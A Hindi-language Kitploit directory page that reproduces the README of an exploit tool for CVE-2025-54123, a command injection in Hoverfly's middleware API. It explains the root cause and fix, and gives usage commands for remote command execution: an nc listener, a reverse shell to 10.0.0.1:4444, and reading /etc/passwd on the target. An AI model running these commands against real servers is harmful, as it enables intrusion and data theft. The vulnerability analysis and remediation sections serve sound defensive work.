Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit — CVE-2025-54123 के लिए एक्सप्लॉइट, जो Hoverfly के मिडलवेयर API में एक प्रमाणित OS कमांड इंजेक्शन है, जो अधिकृत सुरक्षा परीक्षण के लिए केवल-जाँच, एकल-कमांड, इंटरैक्टिव शेल और रिवर्स-शेल क्षमताएँ प्रदान करता है। | Kitploit
उपकरण/GitHubGitHub/0x00phantom-hat/hoverfly-1.11.3-rce-cve-2025-54123-exploit
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोलपेपर और शोधलर्निंग और शिक्षारेड टीमिंगपेलोड डेवलपमेंट
GitHub0x00phantom-hat/hoverfly-1.11.3-rce-cve-2025-54123-exploit

Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit

CVE-2025-54123 के लिए एक्सप्लॉइट, जो Hoverfly के मिडलवेयर API में एक प्रमाणित OS कमांड इंजेक्शन है, जो अधिकृत सुरक्षा परीक्षण के लिए केवल-जाँच, एकल-कमांड, इंटरैक्टिव शेल और रिवर्स-शेल क्षमताएँ प्रदान करता है।

रिपॉजिटरी देखें
133 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-54123 — Hoverfly Middleware API रिमोट कोड निष्पादन

Hoverfly ≤ 1.11.3 में OS कमांड इंजेक्शन के माध्यम से प्रमाणित RCE

भेद्यता सारांश

गुणमान
CVE पहचानCVE-2025-54123
CVSS स्कोर9.8 — गंभीर
CVSS वेक्टरCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-78 (OS कमांड इंजेक्शन), CWE-20 (अनुचित इनपुट सत्यापन)
उत्पादHoverfly — ओपन-सोर्स API सिमुलेशन टूल
प्रभावित1.11.3 तक के सभी संस्करण
इसमें ठीक किया गया1.12.0 (पैच कमिट)
सलाहGHSA-r4h8-hfp2-ggmf

तकनीकी विश्लेषण

यहाँ केस स्टडी का गहन विवरण और व्हाइट बॉक्स तथा ब्लैक बॉक्स दृष्टिकोण से तकनीकी विश्लेषण दिया गया है: https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a

आक्रमण सतह

Hoverfly एक RESTful प्रशासन API (डिफ़ॉल्ट पोर्ट 8888) उजागर करता है जो सिमुलेशन कॉन्फ़िगरेशन प्रबंधित करने के लिए है। मिडलवेयर प्रबंधन एंडपॉइंट /api/v2/hoverfly/middleware एक JSON बॉडी स्वीकार करता है जिसमें binary और script फ़ील्ड होते हैं जो एक बाहरी मिडलवेयर प्रक्रिया को परिभाषित करते हैं।

मूल कारण

यह भेद्यता तीन कोड-स्तरीय खामियों के संयोजन से उत्पन्न होती है:

  1. अपर्याप्त इनपुट सत्यापन — middleware.go:93-96: SetBinary() फ़ंक्शन binary पैरामीटर को बिना किसी सत्यापन या सैनिटाइज़ेशन के स्वीकार करता है, जिससे हमलावर को मनमाने एक्ज़ीक्यूटेबल (जैसे bash) निर्दिष्ट करने की अनुमति मिलती है।

  2. असुरक्षित कमांड निष्पादन — local_middleware.go:14-19: मिडलवेयर को exec.Command() के माध्यम से हमलावर-नियंत्रित binary और script मानों को सीधे तर्कों के रूप में पास करके निष्पादित किया जाता है, जिससे OS कमांड इंजेक्शन सक्षम होता है।

  3. परीक्षण के दौरान तत्काल निष्पादन — hoverfly_service.go:173: जब API के माध्यम से मिडलवेयर सेट किया जाता है, तो Hoverfly तुरंत इसे निष्पादित करके परीक्षण करता है, जिससे इंजेक्ट किया गया कमांड प्रॉक्सी-इंटरसेप्ट समय के बजाय कॉन्फ़िगरेशन समय पर ट्रिगर होता है।

आक्रमण प्रवाह

root@kitploit:~
हमलावर                              Hoverfly (≤ 1.11.3)
   │                                        │
   │─── POST /api/token-auth ──────────────>│  (1) प्रमाणित करें
   │<── { "token": "eyJ..." } ─────────────│
   │                                        │
   │─── PUT /api/v2/hoverfly/middleware ───>│  (2) पेलोड इंजेक्ट करें
   │    { "binary": "bash",                 │
   │      "script": "<दुर्भावनापूर्ण cmd>" }│
   │                                        │
   │    ┌──────────────────────────────────┐│
   │    │ exec.Command("bash", tmpScript)  ││  (3) तत्काल निष्पादन
   │    │ → हमलावर कमांड Hoverfly         ││
   │    │   प्रक्रिया उपयोगकर्ता के रूप में ││
   │    │   चलता है                        ││
   │    └──────────────────────────────────┘│
   │                                        │
   │<── त्रुटि प्रतिक्रिया में कमांड आउटपुट─│  (4) आउटपुट निकालें
   │                                        │

एक्सप्लॉइट उपयोग

पूर्वापेक्षाएँ

  • Python 3.8+
  • Hoverfly प्रशासन API के लिए मान्य क्रेडेंशियल (डिफ़ॉल्ट: admin / कॉन्फ़िगर करने योग्य पासवर्ड)

स्थापना

root@kitploit:~
git clone https://github.com/<your-username>/CVE-2025-54123.git
cd CVE-2025-54123
pip install -r requirements.txt

संचालन मोड

केवल-जाँच मोड

शोषण के बिना लक्ष्य की पहुँच और प्रमाणीकरण सत्यापित करें:

root@kitploit:~
python3 exploit.py -u http://target:8888 -U admin -P <password> -C

एकल कमांड निष्पादन

लक्ष्य पर एक OS कमांड निष्पादित करें:

root@kitploit:~
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'id'

इंटरैक्टिव स्यूडो-शेल

स्थायी शेल सत्र में प्रवेश करें:

root@kitploit:~
python3 exploit.py -u http://target:8888 -U admin -P <password> -i

रिवर्स शेल

अपने लिसनर को रिवर्स शेल भेजें:

root@kitploit:~
# टर्मिनल 1 — लिसनर प्रारंभ करें
nc -lvnp 4444

# टर्मिनल 2 — एक्सप्लॉइट लॉन्च करें
python3 exploit.py -u http://target:8888 -U admin -P <password> --revshell 10.0.0.1:4444

प्रॉक्सी के साथ वर्बोज़ मोड

निरीक्षण के लिए Burp Suite के माध्यम से ट्रैफ़िक रूट करें:

root@kitploit:~
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'cat /etc/passwd' --proxy -v

पूर्ण फ़्लैग संदर्भ

फ़्लैगविवरणडिफ़ॉल्ट
-u, --urlलक्ष्य Hoverfly URLआवश्यक
-U, --usernameव्यवस्थापक उपयोगकर्ता नामआवश्यक
-P, --passwordव्यवस्थापक पासवर्डआवश्यक
-c, --commandनिष्पादित करने के लिए OS कमांड—
-C, --checkकेवल-जाँच मोड (कोई शोषण नहीं)false
-i, --interactiveइंटरैक्टिव स्यूडो-शेलfalse
--revshellरिवर्स शेल LHOST:LPORT—
--proxy127.0.0.1:8080 के माध्यम से रूट करेंfalse
--timeoutअनुरोध टाइमआउट (सेकंड)15
-v, --verboseवर्बोज़ आउटपुट सक्षम करेंfalse

उपचार

कार्रवाईविवरण
अपग्रेड करेंHoverfly को v1.12.0 या उसके बाद के संस्करण में अपडेट करें, जहाँ सेट मिडलवेयर API डिफ़ॉल्ट रूप से अक्षम है
नेटवर्क विभाजनHoverfly प्रशासन API (पोर्ट 8888) तक पहुँच को केवल विश्वसनीय नेटवर्क तक सीमित करें
प्रमाणीकरणHoverfly प्रशासन API के लिए मजबूत, अद्वितीय पासवर्ड का उपयोग करें
निगरानी/api/v2/hoverfly/middleware पर अप्रत्याशित PUT अनुरोधों की निगरानी करें

पैच विवरण

कमिट 17e60a9 में फिक्स सेट मिडलवेयर API को डिफ़ॉल्ट रूप से अक्षम कर देता है। दस्तावेज़ीकरण में बाद के परिवर्तन (कमिट a9d4da7) उपयोगकर्ताओं को इस एंडपॉइंट को उजागर करने के सुरक्षा निहितार्थों से अवगत कराते हैं।


संदर्भ

  • NVD — CVE-2025-54123
  • GitHub Security Advisory — GHSA-r4h8-hfp2-ggmf
  • Vulnerable Code — hoverfly_service.go#L173
  • Vulnerable Code — middleware.go#L93
  • Vulnerable Code — local_middleware.go#L13
  • Patch Commit — 17e60a9

अस्वीकरण

यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच कंप्यूटर फ्रॉड एंड अब्यूज़ एक्ट (CFAA) और दुनिया भर में समान कानूनों के तहत अवैध है। लेखक इस सॉफ़्टवेयर के दुरुपयोग के लिए कोई दायित्व नहीं लेता है। किसी भी सिस्टम का परीक्षण करने से पहले हमेशा स्पष्ट लिखित अनुमति प्राप्त करें जो आपके स्वामित्व में नहीं है।


प्रोजेक्ट संरचना

root@kitploit:~
CVE-2025-54123/
├── Exploit/
│   ├── exploit.py          # पॉलिश किया गया एक्सप्लॉइट
│   └── raw_exploit.py      # मूल कच्चा PoC
├── Images/                 # शोध स्क्रीनशॉट
├── Reference/              # अध्ययन के लिए संदर्भ एक्सप्लॉइट
├── requirements.txt        # Python निर्भरताएँ
└── README.md               # यह फ़ाइल

लेखक

Phantom Hat — सुरक्षा शोधकर्ता


यह शोध शैक्षिक उद्देश्यों के लिए एक भेद्यता केस स्टडी के भाग के रूप में किया गया था।

टूल डाउनलोड करें